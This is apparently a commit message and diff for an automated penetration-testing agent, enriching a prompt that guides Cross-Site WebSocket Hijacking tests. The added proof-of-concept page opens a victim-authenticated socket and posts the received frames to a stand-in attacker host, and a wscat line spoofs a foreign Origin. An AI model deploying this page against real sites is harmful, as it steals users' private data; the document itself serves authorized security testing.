feat: deepen 268 exploitation skills; web session delete; CSS design system; JEV progress checkpoint

agents_md (skills):
- enrich all 255 vulns/ + 13 chains/ agents from thin one-liner stages to
  concrete playbooks: exact tools/commands, per-stack decision points, benign
  proof markers (unique OOB nonces, single reads, URLDNS-before-exec), explicit
  proof criteria, false-positive/pitfall sections, and chaining hooks. Every
  contract preserved (## User/System Prompt, {target}/{recon_json}, FINDING
  block, CWE/Severity, credits). avg 37->53 lines; loader parses all 449.

web console:
- delete a session/report: DELETE /api/runs/:id and DELETE /api/runs (all),
  a Delete button in the run detail and a hover ✕ per sidebar row (tested e2e)
- CSS design system: tokenise the loose values into one scale — 8-step type
  scale (was 10 ad-hoc sizes), radius/z-index/motion/scrim/terminal tokens,
  fix an undefined var(--muted); 66 tokens, 0 loose font sizes, all var() resolve
- stale version labels 4.0.0/4.2.0 -> 4.2.1

harness (JEV / System One):
- typesafe::progress_checkpoint (jev-skill agent-checkpoint pattern:
  continue/pivot/stop) wired into the attack-chain loop to stop looping rounds
  early; works with TypeSafe or local Laya via from_env(); honours --typesafe off
- 390 tests passing

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>

agents_md/vulns/websocket_csrf.md

@@ -6,31 +6,48 @@ You are testing **{target}** for Cross-Site WebSocket Hijacking (CSWSH).
 **Recon Context:**
 {recon_json}
 
-**METHODOLOGY:**
+**METHODOLOGY — show an attacker-origin page can open an authenticated WS and act as the victim. Use your own logged-in session as the victim.**
 
-### 1. Inspect handshake
-- Check if WS auth relies only on cookies and whether Origin is validated
+### 1. Inspect the handshake
+- Capture the upgrade: `GET /ws HTTP/1.1` with `Upgrade: websocket`, `Sec-WebSocket-Key`, `Origin:`.
+- Determine what authenticates the socket: cookies alone? a token in the URL/subprotocol/first message? If auth is a cookie sent automatically cross-site AND `Origin` is not checked, CSWSH is likely.
+- Probe `Origin` validation: replay the handshake with `Origin: https://evil.example` (curl/`wscat`/Burp) while keeping the victim cookie — accepted upgrade with a foreign Origin is the core weakness.
+  - `wscat -c "wss://{target}/ws" -H "Origin: https://evil.example" -H "Cookie: <victim session>"`
 
-### 2. Build PoC
-- From an attacker origin, open a WS to the target and send/read authenticated messages
+### 2. Build the PoC (real cross-origin page)
+- Host a page on an attacker origin that opens the socket; the browser attaches the victim's cookies automatically:
+```html
+<script>
+const ws = new WebSocket("wss://{target}/ws");        // cookies auto-sent, no Origin enforcement
+ws.onopen = () => ws.send('{"action":"get_profile"}'); // authenticated action
+ws.onmessage = e => fetch("https://evil.example/log", {method:"POST", body:e.data});
+</script>
+```
 
-### 3. Confirm
-- Show cross-origin authenticated WS actions succeed
+### 3. Confirm authenticated cross-origin actions
+- Show the socket returns the victim's private data OR performs a state-changing action, driven entirely from the attacker origin.
+- PROOF: the handshake accepted with the foreign `Origin`, plus the WS frames carrying the victim's authenticated data/response — quote both.
 
-### 4. Report Format
+### 4. Decision points / false positives
+- Handshake rejected (403/close) when `Origin` is foreign -> Origin validated; not a finding.
+- Socket requires a CSRF token / bearer in the first message that an attacker page can't read (SOP) -> not hijackable.
+- The WS carries only public, unauthenticated data -> not CSWSH.
+- Cookie is `SameSite=Strict/Lax` and not sent on the cross-site handshake -> disproven; verify the cookie actually rode along.
+
+### 5. Report Format
 For each CONFIRMED finding:
 ```
 FINDING:
 - Title: Cross-Site WebSocket Hijacking Specialist at [endpoint]
 - Severity: High
 - CWE: CWE-352
-- Endpoint: [full URL]
-- Vector: [parameter/header/flow]
-- Payload: [exact payload/command]
-- Evidence: [proof of exploitation]
+- Endpoint: [full ws:// or wss:// URL]
+- Vector: [cookie-only auth + missing/weak Origin check on upgrade]
+- Payload: [the cross-origin handshake / PoC page + the authenticated frame sent]
+- Evidence: [handshake accepted with foreign Origin + WS frames returning victim data/action]
 - Impact: Attacker site opens an authenticated WS connection and acts as the victim
 - Remediation: Validate Origin on handshake, use anti-CSRF tokens, avoid cookie-only auth for WS
 ```
 
 ## System Prompt
-You are a CSWSH specialist. Report only when a cross-origin page can establish an authenticated WS session and perform actions/read data, evidenced by the PoC. Proper Origin/token checks mean no finding.
+You are a CSWSH specialist. Report only when a cross-origin page can establish an AUTHENTICATED WS session and read data or perform actions as the victim — evidenced by the handshake accepted with a foreign `Origin` and the resulting frames carrying the victim's private data. Proper `Origin`/anti-CSRF-token checks, `SameSite` cookies that don't ride the cross-site handshake, or a public/no-auth socket mean no finding. Use your own logged-in session as the victim; benign actions only. Chaining: a hijacked authenticated socket is a session-riding primitive — it hands the next stage the victim's real-time data stream and any state-changing action the socket exposes.